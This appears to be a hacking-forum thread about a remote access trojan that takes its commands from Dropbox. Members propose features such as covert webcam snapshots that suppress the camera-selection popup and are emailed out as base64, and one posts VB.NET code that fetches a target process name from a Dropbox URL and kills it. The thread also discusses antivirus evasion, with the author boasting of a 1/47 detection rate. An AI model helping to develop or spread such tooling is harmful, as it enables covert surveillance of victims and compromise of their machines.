[calvv]

Not sure why you would want to use dropbox for hosting malware but... OK.

for fun/to learn i guess :L? why not?

[Madara-Uchiha]

@calvv
Could you fix the bugs in kill process and kill explorer?
And what functions do you think you can add in the next update?:)

[calvv]

@calvv
Could you fix the bugs in kill process and kill explorer?
And what functions do you think you can add in the next update?:)

I have fixed the function "Killprocess" if you download the latest version (big download button)
Else further updates will be added to the link in the end of the thread :)

I don't really know what functions/features i'll be able to add but something that would be nice is;

- Webcam "snapshot" (don't know how to add this, but will try to find a source)
- Random mouse movement (know how to add this)
- Startprocess (know how to add this)

Something like that, but i don't know if i'll be able to add those functions @ the moment :/
Give me a tip what feature would be nice to see! and i am woundering to make a rat connecting to a webhost, so i can upload things from the acuall rat to the database so that i don't need to send for example pictures in Base64 Code :)

[Madara-Uchiha]

I have fixed the function "Killprocess" if you download the latest version (big download button)
Else further updates will be added to the link in the end of the thread :)

I don't really know what functions/features i'll be able to add but something that would be nice is;

- Webcam "snapshot" (don't know how to add this, but will try to find a source)
- Random mouse movement (know how to add this)
- Startprocess (know how to add this)

Something like that, but i don't know if i'll be able to add those functions @ the moment :/
Give me a tip what feature would be nice to see! and i am woundering to make a rat connecting to a webhost, so i can upload things from the acuall rat to the database so that i don't need to send for example pictures in Base64 Code :)

Sounds cool.
Thx for your quick reply.
For webcam, I may can help you. Look into Directshow.Net
It can read nearly all webcam drivers and is easy to use in .Net
For example if a person has multiple cams, you list all drivers.
Let's say there are three. Then you send the list to the Rat Control Center.
There we can select the driver.
Then after you've choosen one, it sends a Command back like:

Code

WebCamDrivers[1]

Then it makes a webcam shot with driver one.
This will prevent the Select Video Source Popup Window.
Then Send the snapshot back via gmail as base64.
I know, it's not easy, but if you can accomplish that, it will srsly become the Overkill Boss feature for a Dropbox RAT.
Good look.
By the way, how you think about a filemanager? :)

[calvv]

Sounds cool.
Thx for your quick reply.
For webcam, I may can help you. Look into Directshow.Net
It can read nearly all webcam drivers and is easy to use in .Net
For example if a person has multiple cams, you list all drivers.
Let's say there are three. Then you send the list to the Rat Control Center.
There we can select the driver.
Then after you've choosen one, it sends a Command back like:

Code

WebCamDrivers[1]

Then it makes a webcam shot with driver one.
This will prevent the Select Video Source Popup Window.
Then Send the snapshot back via gmail as base64.
I know, it's not easy, but if you can accomplish that, it will srsly become the Overkill Boss feature for a Dropbox RAT.
Good look.
By the way, how you think about a filemanager? :)

Thanks, will look it up :)
Yeah, a filemanager would be nice, but I don't really know how to do it since the rat itself can't send back data, except as an email so i think it would be hard to do that :/

[MrRapidz]

I have fixed the function "Killprocess" if you download the latest version (big download button)
Else further updates will be added to the link in the end of the thread :)

I don't really know what functions/features i'll be able to add but something that would be nice is;

- Webcam "snapshot" (don't know how to add this, but will try to find a source)
- Random mouse movement (know how to add this)
- Startprocess (know how to add this)

Something like that, but i don't know if i'll be able to add those functions @ the moment :/
Give me a tip what feature would be nice to see! and i am woundering to make a rat connecting to a webhost, so i can upload things from the acuall rat to the database so that i don't need to send for example pictures in Base64 Code :)

First of all thank you for this source, I'm gonna try and make something big out of it :) and also what was the kill process explorer bug? and how to fix it because I downloaded source like 2 days ago.

[n0pcode]

Bro you should go and read a book on OOP :)

[calvv]

First of all thank you for this source, I'm gonna try and make something big out of it :) and also what was the kill process explorer bug? and how to fix it because I downloaded source like 2 days ago.

Thanks, Well if the Killprocess doesn't work try download it again, i updated the download link for the download button. And if that doesn't work PM me so that i know and i will try to fix it 🤝

---

Bro you should go and read a book on OOP :)

What do you mean o.O
35 characters

[MrRapidz]

Thanks, Well if the Killprocess doesn't work try download it again, i updated the download link for the download button. And if that doesn't work PM me so that i know and i will try to fix it 🤝

---

What do you mean o.O
35 characters

But what did you change incase it doesn't work, I can't check it right now and I've already modified a hell of a lot so I cba to re-download.

[calvv]

But what did you change incase it doesn't work, I can't check it right now and I've already modified a hell of a lot so I cba to re-download.

In the newest Update the sub "KillProcess" Should look like this

and in the old one like this

[Hexology]

In the newest Update the sub "KillProcess" Should look like this

and in the old one like this

Put that in a for each loop. then inside that put Try

/Credits BlueMelon

PHP Code


<?php 
Dim local As Process() = Process.GetProcesses
Dim Processtokill As String = New WebClient().downloadstring("https://dl.dropboxusercontent.com/u/" & ID & "/cRat/cRat-KillProcess.txt")
  Dim i As Integer
  For i = 0 To local.Length - 1
Try
    Debug.WriteLine(local(i).ProcessName)
    If Strings.UCase(local(i).ProcessName) = Strings.UCase(Processtokill)
    local(i).Kill()
    End if
Catch ex As Exception
MessageBox.Show(ex.message)
End try
Next 


[Oscura]

Very nice job, I really like it.
It's a very clean source, and I've never seen a RAT with dropbox.

[Silentflow]

Nice share how about the stub output?
Is it UD?

[nuk]

I have no need for this...yet :) But honestly seems like a very HQ project :) Awesome work and thanks for sharing :)

[calvv]

Nice share how about the stub output?
Is it UD?

No that's the 1/47 detection, but almost ud ;)